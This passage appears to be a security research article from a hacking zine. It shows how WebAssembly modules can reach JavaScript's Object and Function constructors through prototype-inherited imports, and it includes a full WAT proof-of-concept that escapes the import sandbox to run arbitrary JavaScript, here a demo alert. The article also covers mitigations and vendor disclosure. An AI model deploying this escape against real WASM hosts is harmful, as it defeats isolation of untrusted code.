Return ? parent.[[Get]](P, Receiver). 3. If IsDataDescriptor(desc) is true, return desc.[[Value]]. 4. Assert: IsAccessorDescriptor(desc) is true. 5. Let getter be desc.[[Get]]. 6. If getter is undefined, return undefined. 7. Return ? Call(getter, Receiver). This recursive mechanism (step 2.c) follows what is known as the prototype chain: a form of inheritance which is core to the JavaScript language. It is why you can call .toString() on almost any object, for example. While it may be normal that this occurs here (almost all property-lookups in JavaScript use this mechanism), I believe that WASM import lookups are implicit enough that almost nobody fully thinks this through. ---[ 3 - Importing from the prototype Why do I say this? Well, consider our importObject from before: const importObject = { ns: { logger: (num) => { console.log(`The answer is: ${num}`) } } }; If we use tab-completion in a JavaScript REPL, we see that it "inherits" a bunch of properties from the Object prototype: > importObject.<tab> importObject.__proto__ importObject.constructor importObject.hasOwnProperty importObject.isPrototypeOf importObject.propertyIsEnumerable importObject.toLocaleString importObject.toString importObject.valueOf importObject.ns So does this mean that besides "ns", all of these other properties can also be imported as WASM namespaces?! Yes :) To demonstrate this, we can modify our example to import importObject.toString.constructor (the Function constructor) as a global object, and pass that to $logger instead of 42. We also have to slightly change the import of $logger such that it takes an externref instead of an i32: this can be used to represent arbitrary external (JavaScript) values; WASM cannot operate on them, but they can be passed along. (module (import "ns" "logger" (func $logger (param externref))) (import "toString" "constructor" (global $oops externref)) (func $main global.get $oops call $logger ) (start $main) ) Running this module now logs the following to console: The answer is: function Function() { [native code] } ...which is indeed the (string form) of the Function constructor! This is problematic for someone trying to limit the module's interface to the outside world as it gives the attacker a bunch of "bonus" imports to play with. Even if importObject is entirely empty ({}). ---[ 4 - Planning our escape Obviously the next step is to figure out which extra powers this gives us. Above, we imported importObj.toString.constructor as a value, but of course we could also import it as a function. The Function constructor is actually quite interesting as it behaves similarly to eval(), though with an extra step of indirection: > x = Function("console.log(42)") [Function: anonymous] > x() 42 So, if we can somehow (1) pass a string argument containing our JavaScript payload and (2) invoke the returned value as a function, then this would give us a full escape to JavaScript. This is not that easy however. For problem (1), the issue is that WASM does not have a string type. At best we can specify importObj.toString.constructor to take an i32 as argument, and this will work, but this does not get us very far (the integer will be converted to a string, but "42" is not a very useful piece of JavaScript). This means that we need to find a way to use the other available "gadgets" from the Object prototype to craft arbitrary strings. Once we have a way to get a JavaScript string, we can pass it to the Function constructor as an externref. For problem (2), the challenge is that WASM does not really have a concept of external function pointers. Or at least, not in the sense that we can take the return value of an external function and call that directly. The standard keeps evolving and this might be possible in the near future, but for now we're stuck with an "externref" which we cannot invoke directly. Hence, we also need to find a gadget that can do this for us. Let's have a look at what we have available. ---[ 5 - Available gadgets We can group the set of prototype-inherited properties of importObject (i.e., of the Object prototype) into the following categories: - hasOwnProperty, isPrototypeOf, propertyIsEnumerable, toLocaleString, toString, valueOf - Regular instance methods, each containing the same second-level properties provided by the Function prototype (e.g. importObject.hasOwnProperty.apply) - constructor - the Object constructor, containing the same as the other functions above, but also a bunch of static methods - __proto__ - the only non-function property, containing all of the above on the second level (e.g., importObject.__proto__.hasOwnProperty) In JavaScript, methods are invoked on an object instance using the dot syntax (foo.bar()), which implicitly sets "this". When you take a method by itself and call it separately, the value of "this" is not retained: > x = "hello"; > x.toString(); "hello" > y = x.toString; > y(); Uncaught TypeError: String.prototype.toString requires that 'this' be a String at toString (<anonymous>) This same holds for our imported methods. While we can for example import and call importObj.__proto__.toString, it is of not much use to us, as we cannot control the value of "this" (it will be undefined). Hence, the only useful functions that remain are static ones. Namely, the Function constructor and all of the static methods on the Object constructor (a.k.a. the Object global): Object.assign Object.create Object.defineProperties Object.defineProperty Object.entries Object.freeze Object.fromEntries Object.getOwnPropertyDescriptor Object.getOwnPropertyDescriptors Object.getOwnPropertyNames Object.getOwnPropertySymbols Object.getPrototypeOf Object.groupBy Object.hasOwn Object.is Object.isExtensible Object.isFrozen Object.isSealed Object.keys Object.length Object.name Object.preventExtensions Object.prototype Object.seal Object.setPrototypeOf Object.values ----[ 5.1 Dynamic function calling At first these all seem relatively boring, but an unexpected hero here is Object.groupBy() [2]: Object.groupBy(items, callbackFn) "The Object.groupBy() static method groups the elements of a given iterable according to the string values returned by a provided callback function. The returned object has separate properties for each group, containing arrays with the elements in the group." This relatively new addition to the JavaScript language does a bunch of things we'll end up needing. Most importantly it will call a function for us, solving the second problem from before. For example, if we somehow manage to obtain a useful Function instance, we can call it like this to run the JavaScript code: x = Function("alert('hello world')"); // assuming we have this string Object.groupBy([1],x) // will call x for us This only leaves us with the first problem: constructing an arbitrary string. It turns out that this is the hard part. ----[ 5.2 First steps in constructing a string The method String.fromCharCode immediately comes to mind. It returns a string consisting of one or more UTF-16 code units passed as arguments: > String.fromCharCode(0x41, 0x42, 0x43) 'ABC' This would be perfect for us, as integers are no problem for WASM. Though, the problem is of course that fromCharCode is part of the String global, not Object. Luckily, there is a way to obtain it. We'll need to perform the following operations, sketched out in JavaScript for readability: // Obtain any string str = "foobar"; // Get the String constructor (i.e. the String global) string_constructor = str.constructor; // Get String.fromCharCode fromCharCode = string_constructor.fromCharCode; Obtaining an initial string is a bit tricky, but doable. For example, to get the literal string "length", we can do the following: empty_object = importObject.constructor.prototype; // {}, importable empty_array = Object.values(empty_object); // [] Object.getOwnPropertyNames(empty_array); // [ 'length' ] The result is still wrapped in an array, but we can use Object.groupBy to help with that. A key insight here is that we can craft arbitrary callback functions because it is perfectly legal to pass a WASM function using ref.func instead of a JavaScript function reference (an externref). So, we could craft a "save-the-nth-element" function by looking at the second argument passed to the callback, the index. In pseudo-JavaScript: g_n = null; save_first_elem = (x, i) => (if(i == 0) {g_n = x}); arr = [ 'length' ]; Object.groupBy(arr, save_first_elem); // g_n == 'length' Generalized, we can define $array_get_nth_element as follows in WASM: ;; Callback to use with Object.groupBy() to extract element $n to $g_n. (func $save_nth_element (param $val externref) (param $n i32) (local.get $n) (global.get $g_n) i32.eq (if (then (local.get $val) (global.set $g_nth_element) ) ) ) ;; Given $arr and $n, return $arr[n] (func $array_get_nth_element (param $arr externref) (param $n i32) (result externref) (local.get $n) (global.set $g_n) (call $groupBy_i (local.get $arr) (ref.func $save_nth_element)) drop (global.get $g_nth_element) ) We use the name $groupBy_i to indicate the case where we pass an internal (WASM) function, whereas we will use $groupBy_e for calling external function references. Luckily, it is perfectly fine to import the same name twice with different types! (import "constructor" "groupBy" (func $groupBy_i (param externref) (param funcref) (result externref))) (import "constructor" "groupBy" (func $groupBy_e (param externref) (param externref) (result externref))) So, using this mechanism, the string "length" can be grabbed as follows: ;; Obtain the string 'length' ;; Luckily it is the only enumerable object of an empty array, so idx: 0 (call $array_get_nth_element (call $getOwnPropertyNames (call $values (global.get $prototype)) ) (i32.const 0) ) (global.set $s_length) ----[ 5.3 Extracting named properties Next, we need a way to access named properties (e.g. .constructor and .fromCharCode) of an object. For this, we can use Object.getOwnPropertyDescriptors() to get an "expanded" version of the object, with all of its properties as descriptors. Running Object.values() on that then gives these descriptors as a list: > Object.values(Object.getOwnPropertyDescriptors(string_constructor)) [ { value: 'String', writable: false, enumerable: false, configurable: true }, { value: [Function: fromCharCode], writable: true, enumerable: false, configurable: true }, { value: [Function: fromCodePoint], writable: true, enumerable: false, configurable: true }, ... ] If we know the order of this list, it is then purely a matter of using our $array_get_nth_element function (e.g., with index 1), giving us just the descriptor we want: { value: [Function: fromCharCode], writable: true, enumerable: false, configurable: true } We then run Object.values() on this and use $array_get_nth_element again (with index 0) to get the property value we desire (here, the fromCharCode function itself). In reality, the order of this list differs per JavaScript engine but we'll solve that problem later. ----[ 5.4 Obtaining individual characters Now that we have a reference to String.fromCharCode, we can call it with Object.groupBy(): > Object.groupBy([0x42], String.fromCharCode) { 'B\x00': [ 66 ] } The fact that the return value is given as a key of an object is not a problem, we can use Object.keys() and $array_get_nth_element for that. The \x00 (due to Object.groupBy() passing the element's index as the second argument of String.fromCharCode) can also be removed by taking the first "element" (i.e., character) of the string using $array_get_nth_element, leaving us with just the string 'B'. To wrap the input value (0x42) in an array for use with Object.groupBy(), we perform some more trickery: another call to Object.groupBy() with a WASM callback allows us to produce the object { "66": ["length"] }, which we can turn into [ "66" ] using Object.keys(). The fact that our number is now a string is luckily not a problem for String.fromCharCode (it will implicitly call .valueOf()). Chaining this all together allows us to write the following $chr function: ;; A convoluted way to call String.fromCharCode on a single number. (func $chr (param $c i32) (result externref) (local $tmp externref) ;; This is just a way to get an array with one element, ;; so groupBy invokes the callback just once. (call $getOwnPropertyNames (call $values (global.get $prototype))) (local.set $tmp) ;; [ 'length' ] ;; First we call Object.groupBy() on a single-element array, with a ;; callback that returns a fixed value ($c), to create an object with ;; just that key. For example, for 66 we'd obtain { "66": ["length"] } (local.get $c) (global.set $g_val_i) (call $groupBy_i (local.get $tmp) (ref.func $return_val_i)) ;; Then, we call String.fromCharCode on it by passing e.g. [ "66" ] ;; (the result of Oject.keys()) to Object.groupBy() (call $groupBy_e (call $keys) (global.get $String_constructor_fromCharCode) ) ;; Now Object.keys() gives ['A\x00'], so we do _[0][0] to get just 'A' (call $keys) (i32.const 0) (call $array_get_nth_element) (i32.const 0) (call $array_get_nth_element) ) ----[ 5.5 Accumulating into a string With individual character-strings now available to us, we need a way to concatenate them. The first step is a method of accumulating characters into a list. For this, we can use the merge primitive provided by Object.assign(): > Object.assign({"foo":"bar"}, {"lorem": "ipsum"}) { foo: 'bar', lorem: 'ipsum' } We'll assign each character to a unique, incrementing key (property name), accumulating them on a single object (though, each value will be wrapped in an array): ;; Adds $value to obj, under a new unique (incrementing) key ;; This is so we can accumulate values with unique incrementing keys on ;; an object, used to build an array later. (func $add_value_to_obj (param $obj externref) (param $value externref) (local $tmp externref) ;; Create a new object ($tmp) which has just a single property with a ;; controlled value ($value) and a unique key (the return value of the ;; callback tells Object.groupBy what property name to use) (call $groupBy_i (local.get $value) (ref.func $return_incr_ctr)) (local.set $tmp) ;; Use Object.assign() to add the property to $obj (call $assign (local.get $obj) (local.get $tmp)) ) After calling this multiple times, this will result in an object such as: { '1': [ 'H' ], '2': [ 'e' ], '3': [ 'l' ], '4': [ 'l' ], '5': [ 'o' ] } Which we then turn into a list with Object.values() [ [ 'H' ], [ 'e' ], [ 'l' ], [ 'l' ], [ 'o' ] ] How is this useful to us? Well: > String.raw({raw:[['H'],['e'],['l'],['l'],['o']]}) 'Hello' This function is normally used under the hood with raw template literals, but it is perfect for our use-case. Its argument should be an object containing a "raw" property with the array of string-parts to concatenate. The fact that each element is wrapped in an array by itself is no problem: the implicit .toString() will strip them: > ['A'].toString() 'A' Obtaining a reference to String.raw() is done in the same way we obtained String.fromCharCode(), and creating the argument object is again possible with Object.groupBy() and a custom callback: > Object.groupBy([['H'],['e'],['l'],['l'],['o']], () => "raw") { raw: [ [ 'H' ], [ 'e' ], [ 'l' ], [ 'l' ], [ 'o' ] ] } To invoke String.raw() we use Object.groupBy() again, but it means we have to wrap our object (the argument to String.raw()) in an array. One way to achieve this is by obtaining an existing array containing a single object, and using Object.assign() to merge our own object into that inner object. All in all, we end up at the following WASM for $list_to_string: ;; Turns a list such as [["a"],["b"],["c"],["d"]] into ["a0bcd"] ;; (yes, the "0" is added due to how we use Object.groupBy) ;; (yes, it returns an array, but this is fine for our usecase) (func $list_to_string (param $list externref) (result externref) (local $arrwithobj externref) (local $innerobj externref) (local $res externref) ;; Create an object with the key "raw", with as value our input list ;; because String.raw uses this key to build the string. (groupBy wraps ;; grouped elements in a list, but they all group to the same key so it ;; gives back the original list) (global.get $s_raw) (global.set $g_val_e) (call $groupBy_i (local.get $list) (ref.func $return_val_e)) (local.set $res) ;; This is just a way to get an array with a single object. We need ;; this as we want to give the object as a parameter to String.raw(), ;; but it needs to be wrapped in an array for the Object.groupBy trick. (call $values (call $getOwnPropertyDescriptors (local.get $res))) (local.set $arrwithobj) ;; Grab the inner object, for the purpose of modifying it (call $array_get_nth_element (local.get $arrwithobj) (i32.const 0)) (local.set $innerobj) ;; Merge 'res' into it (our object with the raw key) (call $assign (local.get $innerobj) (local.get $res)) ;; Now we can invoke String.raw via Object.groupBy (call $groupBy_e (local.get $arrwithobj) (global.get $String_constructor_raw) ) ;; The result is in the key of the returned object, so extract that (call $keys) ) ---[ 6 - Keeping things JS engine-agnostic Important to our "exploit" is the ability to obtain a known property from an object instance. We did this by taking the n-th element of the object's property descriptors, but this order is not specified by the standard, and hence differs per JavaScript engine. Luckily there's a way to generalize this. As long as our desired property name has a unique length (for example, "raw" is the only property of String with a name of length 3), we can search through the property list for a name with that expected length. To get the length of a string we can use Object.getOwnPropertyDescriptor() with the argument "length", for example: // "length" is the only string we get for free (only prop of an array) > Object.getOwnPropertyDescriptor("raw", "length") { value: 3, writable: false, enumerable: false, configurable: false } Then, it's a matter of obtaining the "value" property of the descriptor, but this leads us back to the original problem... There's a workaround though: for the property descriptor of "length".length, we know that its value is 6: > Object.getOwnPropertyDescriptor("length","length") { value: 6, writable: false, enumerable: false, configurable: false } > Object.values(Object.getOwnPropertyDescriptor("length","length")) [ 6, false, false, false ] Hence, we can use Object.groupBy() to find the index of 6 within this list (save the index whose element equals 6): this is the index of the "value" key in all property descriptors! Are you still following? ;) This completes the circle, and gives us a fully browser/engine-independent method of accessing object properties (as long as their length is unique). ---[ 7 - Exploit recap To recap, our exploit consists of the following steps: 0. Import a bunch of static methods under Object using the prototype- inherited "constructor" namespace, e.g. `"constructor" "groupBy"`. 1. Obtain "length" and use it to obtain references to String.fromCharCode(), String.raw(), and the string "raw". 2. Use String.fromCharCode() combined with Object.groupBy(), Object.assign(), Object.keys() and Object.values() (among others) to turn individual numbers into a list of characters making up our payload. 3. Use String.raw() to combine the above into a single string. 4. Call the Function constructor with our payload as an argument and then use Object.groupBy() to call its return value, executing our payload. We combine all of this in a WASM module which executes it on load. It means that the payload will be executed as soon as the following code is loaded by the browser (note the empty importObject): <script> fetch("payload.wasm") .then((response) => response.arrayBuffer()) .then((bytes) => WebAssembly.instantiate(bytes, {})); </script> The result: an alert pops up, stating "hi from WASM" :) The full WAT code for payload.wasm is included at the end of this article. ---[ 8 - Mitigation For a developer wanting to safely run untrusted WASM modules, the solution is simple: make sure the importObject and every namespace inside has a null-prototype: const importObject = Object.assign(Object.create(null), { "ns": Object.assign(Object.create(null), { "logger": ... }) }) Alternatively, you can manually inspect a WASM module's desired imports before instantiating it [3] and refuse to run anything with imports that you don't expect. A process is currently ongoing to standardize an imports/exports interface, known as WASI [4]. Some of these interfaces claim to provide levels of (file-system) sandboxing, but it is good to know that this might be entirely negated by this sandbox escape. For example, Node's experimental node:wasi module [5] provides wasi.getImportObject() which will generate the required importObject for you, but it gives it the regular Object prototype. :) In their defense, they state: > The node:wasi module does not currently provide the comprehensive file > system security properties provided by some WASI runtimes. ---[ 9 - Retrospective Crafting this exploit has been a very enjoyable challenge. To me, this is what hacking is truly about: first, the rush of finding out about this prototype-import "loophole", and then slowly building the sandbox escape piece-by-piece out of functions which were not intended for this at all. I reported this as a security issue to the Firefox, Chrome, WebKit and Node teams in parallel. All roughly concluded the same thing: this is odd, but currently within specification, and this "sandbox" is not technically a security boundary that WASM was designed for (within the browser at least). There is some desire for modifying the specification in the future, but this is of course difficult to do in a backward-compatible manner. This means it is currently still a feature, and we can enjoy it while it lasts! I would love to see if anyone can find other gadgets which can help simplify the payload; I'm sure there are other possible paths to take. My thanks go to Ryan Hunt at Mozilla for being supportive and helping to coordinate discussion between vendors. And finally, a shout out to my friend Kevin Valk for being a rubber ducky while I was stuck finding the right primitives, and for helping to document the PoC. ---[ 10 - References [0] https://webassembly.github.io/spec/js-api/#read-the-imports [1] https://tc39.es/ecma262/multipage/abstract-operations.html#sec-get-o-p [2] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/groupBy [3] https://developer.mozilla.org/en-US/docs/WebAssembly/Reference/JavaScript_interface/Module/imports_static [4] https://wasi.dev/ [5] https://nodejs.org/api/wasi.html ---[ 11 - Full PoC ;; (Compile using `wasm-as -all`. Requires a newish version of Binaryen) (module ;; Static methods in the Object constructor, which we can call directly (import "constructor" "keys" (func $keys (param externref)(result externref))) (import "constructor" "values" (func $values (param externref) (result externref))) (import "constructor" "getOwnPropertyNames" (func $getOwnPropertyNames (param externref) (result externref))) (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptor (param externref) (param externref) (result externref))) (import "constructor" "getOwnPropertyDescriptors" (func $getOwnPropertyDescriptors (param externref) (result externref))) (import "constructor" "getPrototypeOf" (func $getPrototypeOf (param externref) (result externref))) (import "constructor" "constructor" (func $constructor (param externref) (result externref))) (import "constructor" "assign" (func $assign (param externref) (param externref))) ;; Two variants of groupBy: with a WASM or JS function as callback, resp. (import "constructor" "groupBy" (func $groupBy_i (param externref) (param funcref) (result externref))) (import "constructor" "groupBy" (func $groupBy_e (param externref) (param externref) (result externref))) ;; We just use this as an object so import as 'global' (import "constructor" "prototype" (global $prototype externref)) ;; Offsets of specific keys within certain objects. ;; The exact indices are determined later and written here, for now just ;; initialize to zero. ;; 'constructor' in Object prototype (global $OFF_CONSTRUCTOR (mut i32) (i32.const 0)) ;; 'value' in descriptor objects (global $OFF_VALUE (mut i32) (i32.const 0)) ;; 'fromCharcode' in String constructor (global $OFF_FROMCHARCODE (mut i32) (i32.const 0)) ;; 'raw' in String constructor (global $OFF_RAW (mut i32) (i32.const 0)) ;; Obtained strings (global $s_length (mut externref) (ref.null extern)) (global $s_constructor (mut externref) (ref.null extern)) (global $s_fromCharCode (mut externref) (ref.null extern)) (global $s_raw (mut externref) (ref.null extern)) ;; Obtained functions (global $String_constructor (mut externref) (ref.null extern)) (global $String_constructor_raw (mut externref) (ref.null extern)) (global $String_constructor_fromCharCode(mut externref)(ref.null extern)) ;; The reference index for the callbacks below (input) (global $g_n (mut i32) (i32.const 0)) ;; The extracted (saved) element, used by the callbacks below (output) (global $g_nth_element (mut externref) (ref.null extern)) (global $g_nth_element_i (mut i32) (i32.const 0)) ;; Callback to be used with Object.groupBy() to extract an element. ;; Object.groupBy() invokes callback(elem, idx) for every element in the ;; array. (func $save_nth_element (param $val externref) (param $n i32) (local.get $n) (global.get $g_n) i32.eq (if (then (local.get $val) (global.set $g_nth_element) ) ) ) ;; Same as above but saves an i32 instead of externref (func $save_nth_element_i (param $val i32) (param $n i32) (local.get $n) (global.get $g_n) i32.eq (if (then (local.get $val) (global.set $g_nth_element_i) ) ) ) ;; Helper around the groupBy trick to access arr[n] (func $array_get_nth_element (param $arr externref) (param $n i32) (result externref) (local.get $n) (global.set $g_n) (call $groupBy_i (local.get $arr) (ref.func $save_nth_element)) drop (global.get $g_nth_element) ) ;; Same as $array_get_nth_element but result is i32 ;; This is useful if we want to do something with the result in WASM land ;; (e.g. compare it to another integer) (func $array_get_nth_element_i (param $arr externref) (param $n i32) (result i32) (local.get $n) (global.set $g_n) (call $groupBy_i (local.get $arr) (ref.func $save_nth_element_i)) drop (global.get $g_nth_element_i) ) ;; Helper to obtain the n-th property (usually a method) of an object ;; NOTE: this order is JS-engine specific, hence we figure out offset ;; dynamically later ;; NOTE2: you'd think we can call Object.values() instead (and not need ;; 'value'), but it only lists enumerable properties. In our case, ;; we would like to access any property. (func $object_get_nth_property (param $obj externref) (param $n i32) (result externref) (local $descriptor_vals externref) ;; for readability (call $values (call $getOwnPropertyDescriptors (local.get $obj))) (local.set $descriptor_vals) (call $values (call $array_get_nth_element (local.get $descriptor_vals) (local.get $n) ) ) (global.get $OFF_VALUE) (call $array_get_nth_element) ) (func $object_get_named_property (param $obj externref) (param $key externref) (result externref) (call $getOwnPropertyDescriptor (local.get $obj) (local.get $key)) call $values (global.get $OFF_VALUE) call $array_get_nth_element ) ;; Callbacks that return a fixed (but configurable) value, i.e. ()=>42 ;; We need versions with JS objects and with an int. These are used ;; together with Object.groupBy() to be able to set an arbitrary key on ;; the resulting object. (global $g_val_e (mut externref) (ref.null extern)) (func $return_val_e (result externref) (global.get $g_val_e) ) (global $g_val_i (mut i32) (i32.const 0)) (func $return_val_i (result i32) (global.get $g_val_i) ) ;; Callback that returns a static (incrementing) value each time. ;; Used by $add_value_to_obj. (global $g_key_ctr (mut i32) (i32.const 0)) (func $return_incr_ctr (result i32) (global.get $g_key_ctr) (i32.const 1) i32.add ;; increment (global.set $g_key_ctr) (global.get $g_key_ctr) ;; return ) ;; Adds $value to obj, under a new unique (incrementing) key ;; This is so we can accumulate values with unique incrementing keys on ;; an object, used to build an array later. (func $add_value_to_obj (param $obj externref) (param $value externref) (local $tmp externref) ;; Create a new object ($tmp) which has just a single property with a ;; controlled value ($value) and a unique key (the return value of the ;; callback tells Object.groupBy what property name to use) (call $groupBy_i (local.get $value) (ref.func $return_incr_ctr)) (local.set $tmp) ;; Use Object.assign() to add the property to $obj (call $assign (local.get $obj) (local.get $tmp)) ) ;; A convoluted way to call fromCharCode on a single number. (func $chr (param $c i32) (result externref) (local $tmp externref) ;; This is just a way to get an array with one element, ;; so groupBy invokes the callback just once. (call $getOwnPropertyNames (call $values (global.get $prototype))) (local.set $tmp) ;; [ 'length' ] ;; First we call Object.groupBy() on a single-element array, with a ;; callback that returns a fixed value ($c), to create an object with ;; just that key. For example, for 65 we'd obtain { "65": ["length"] } (local.get $c) (global.set $g_val_i) (call $groupBy_i (local.get $tmp) (ref.func $return_val_i)) ;; Then, we call Object.fromCharCode on it by passing e.g. [ "65" ] to ;; Object.groupBy(). (Object.keys will wrap it in an array for us) (call $groupBy_e (call $keys) (global.get $String_constructor_fromCharCode) ) ;; Now Object.keys() gives ['A\x00'], so we do _[0][0] to get just 'A' (call $keys) (i32.const 0) (call $array_get_nth_element) (i32.const 0) (call $array_get_nth_element) ) ;; Basically adds String.fromCharCode($c) as a new value with unique key ;; to $obj, allowing us to accumulate characters to convert to a string ;; later. We use Object.groupBy under the hood, which wraps values in ;; lists. So we're constructing something like [['f'],['o'],['o']]. ;; Luckily this doesn't matter later on because the String.raw behavior. (func $add_charcode_to_obj (param $obj externref) (param $c i32) (call $add_value_to_obj (local.get $obj) (call $chr (local.get $c)) ) ) ;; Turns a list such as [["a"],["b"],["c"],["d"]] into ["a0bcd"] ;; (yes, the "0" is added after the first character, due to how we use ;; Object.groupBy) (yes, it returns an array, but this is fine as the ;; implicit .toString gives the string) (func $list_to_string (param $list externref) (result externref) (local $arrwithobj externref) (local $innerobj externref) (local $res externref) ;; Create an object with the key "raw", with as value our input list ;; because String.raw uses this key to build the string. (groupBy wraps ;; grouped elements in a list, but they all group to the same key so it ;; gives back the original list) (global.get $s_raw) (global.set $g_val_e) (call $groupBy_i (local.get $list) (ref.func $return_val_e)) (local.set $res) ;; This is just a way to get an array with a single object. We need ;; this as we want to give the object as a parameter to String.raw(), ;; but it needs to be wrapped in an array for the Object.groupBy trick. (call $values (call $getOwnPropertyDescriptors (local.get $res))) (local.set $arrwithobj) ;; Grab the inner object, for the purpose of modifying it (call $array_get_nth_element (local.get $arrwithobj) (i32.const 0)) (local.set $innerobj) ;; Merge 'res' into it (our object with the raw key) (call $assign (local.get $innerobj) (local.get $res)) ;; Now we can invoke String.raw via Object.groupBy (call $groupBy_e (local.get $arrwithobj) (global.get $String_constructor_raw) ) ;; The result is in the key of the returned object, so extract that (call $keys) ) ;; Globals used by $array_index_of and $save_idx_if_length_equals (global $g_wanted_elem (mut i32) (i32.const 999)) (global $g_wanted_length (mut i32) (i32.const 0)) (global $g_obtained_idx (mut i32) (i32.const 999)) ;; Callback to be used with func $array_index_of (func $save_idx_if_equals (param $elem i32) (param $idx i32) (local.get $elem) (global.get $g_wanted_elem) i32.eq ;; if($elem == $g_wanted_elem) $g_obtained_idx = idx; (if (then (local.get $idx) (global.set $g_obtained_idx) ) ) ) ;; Callback to be used with func $get_index_for_element_with_length (func $save_idx_if_length_equals (param $elem externref) (param $idx i32) ;; Get the descriptor of the 'length' prop, then get its 'value' (call $array_get_nth_element_i (call $values (call $getOwnPropertyDescriptor (local.get $elem) (global.get $s_length) ) ) (global.get $OFF_VALUE) ;; The index of 'value' in prop descriptors ) ;; if(len == $g_wanted_length) $g_obtained_idx = idx; (global.get $g_wanted_length) i32.eq (if (then (local.get $idx) (global.set $g_obtained_idx) ) ) ) ;; Get the index of the $needle in $arr. Used later to obtain OFF_VALUE ;; (in property descriptor) (func $array_index_of (param $arr externref) (param $needle i32) (result i32) (local.get $needle) (global.set $g_wanted_elem) (call $groupBy_i (local.get $arr) (ref.func $save_idx_if_equals) ) drop (global.get $g_obtained_idx) ) ;; The order of properties in built-in objects is implementation-specific ;; Luckily, we can find out the indices of some props we need, by their ;; unique name lengths (func $get_index_for_element_with_length (param $arr externref) (param $wanted_length i32) (result i32) ;; Object.groupBy($arr, $save_idx_if_length_equals) (local.get $wanted_length) (global.set $g_wanted_length) (call $groupBy_i (local.get $arr) (ref.func $save_idx_if_length_equals) ) drop (global.get $g_obtained_idx) ) ;; Build the payload (func $build_string (result externref) (local $accum externref) ;; accum = {} ;; There are probably cleaner ways but we just make a Function("B"). ;; This is a clean object that has no own keys (which is what we need) (call $constructor (call $chr (i32.const 0x42))) (local.set $accum) ;; Start with "0;" because a "0" is injected at index 1 ;; (due to String.raw also receiving the second argument which ;; Object.groupBy passes to its callback (idx)) ;; The final result is "00;alert('hi from WASM')" (call $add_charcode_to_obj (local.get $accum) (i32.const 0x30)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x3b)) ;; alert(' (call $add_charcode_to_obj (local.get $accum) (i32.const 0x61)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x6c)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x65)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x72)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x74)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x28)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x27)) ;; hi from WASM (call $add_charcode_to_obj (local.get $accum) (i32.const 0x68)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x69)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x20)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x66)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x72)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x6f)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x6d)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x20)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x57)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x41)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x53)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x4d)) ;; ') (call $add_charcode_to_obj (local.get $accum) (i32.const 0x27)) (call $add_charcode_to_obj (local.get $accum) (i32.const 0x29)) ;; Convert into list (call $values (local.get $accum)) (call $list_to_string) ) (func $main (local $payload externref) ;; Obtain the string 'length' ;; Luckily it is the only own property of an empty array, hence index 0 (call $array_get_nth_element (call $getOwnPropertyNames (call $values (global.get $prototype))) (i32.const 0) ) (global.set $s_length) ;; Obtain the offset of 'value' in property descriptors. We can't use ;; $get_index_for_element_with_length here, as it uses 'value' ;; internally. Instead, we take a look which of the properties of a ;; property descriptor of 'length' has the value 6, e.g.: ;; Object.values(Object.getOwnPropertyDescriptor('length', 'length')); ;; gives: [ 6, false, false, false ] ;; The one at index (0 in the example) is the length, so store that ;; index for future use. (call $array_index_of (call $values (call $getOwnPropertyDescriptor (global.get $s_length) (global.get $s_length) ) ) (i32.const 6) ) (global.set $OFF_VALUE) ;; Obtain the offset of 'constructor' in the Object prototype (call $get_index_for_element_with_length ;; Object.getOwnPropertyNames({}.constructor.prototype) (call $getOwnPropertyNames (global.get $prototype)) (i32.const 11) ;; "constructor".length ) (global.set $OFF_CONSTRUCTOR) ;; Get the string 'constructor' ;; In addition to the offset obtained above, we need this as a string ;; because the index of 'constructor' in Object's property list is ;; different from the index of 'constructor' in String's property list. (call $array_get_nth_element (call $getOwnPropertyNames (global.get $prototype)) (global.get $OFF_CONSTRUCTOR) ) (global.set $s_constructor) ;; Get String.prototype.constructor ;; (via the string "constructor" but could be any string) (call $object_get_named_property (call $getPrototypeOf (global.get $s_constructor)) (global.get $s_constructor) ) (global.set $String_constructor) ;; Obtain the idxs of 'fromCharCode' and 'raw' in list of String's keys (call $get_index_for_element_with_length ;; Object.getOwnPropertyNames(String) (call $getOwnPropertyNames (global.get $String_constructor)) (i32.const 12) ;; "fromCharCode".length ) (global.set $OFF_FROMCHARCODE) (call $get_index_for_element_with_length ;; Object.getOwnPropertyNames(String) (call $getOwnPropertyNames (global.get $String_constructor)) (i32.const 3) ;; "raw".length ) (global.set $OFF_RAW) ;; Get String.constructor.fromCharCode and String.constructor.raw (call $object_get_nth_property (global.get $String_constructor) (global.get $OFF_FROMCHARCODE) ) (global.set $String_constructor_fromCharCode) (call $object_get_nth_property (global.get $String_constructor) (global.get $OFF_RAW) ) (global.set $String_constructor_raw) ;; Get the string 'raw' from the String constructor ;; (we also need it to construct the parameter of String.raw) (call $array_get_nth_element (call $getOwnPropertyNames (global.get $String_constructor)) (global.get $OFF_RAW) ) (global.set $s_raw) ;; Build the payload. Returns wrapped in array, ;; e.g. [ "00;alert('hi from WASM')" ] (call $build_string) (local.set $payload) ;; Make our function and call it using groupBy!! (call $groupBy_e ;; Use payload as a convenient array with length 1 to use for groupBy (local.get $payload) (call $constructor (local.get $payload) ) ) drop ;; ignore return value ) (start $main) ) |=[ EOF ]=---------------------------------------------------------------=| ]]> https://phrack.org/issues/72/desync-the-planet-rsync-rce.html Tue, 19 Aug 2025 00:00:00 +0000 Simon, Pedro, Jasiel Phrack #72 phrack-72-11 |=----------------------------------------------------------------------=| |=--------------=[ Desync the Planet - Rsync Remote Code ]=-------------=| |=---------------------------=[ 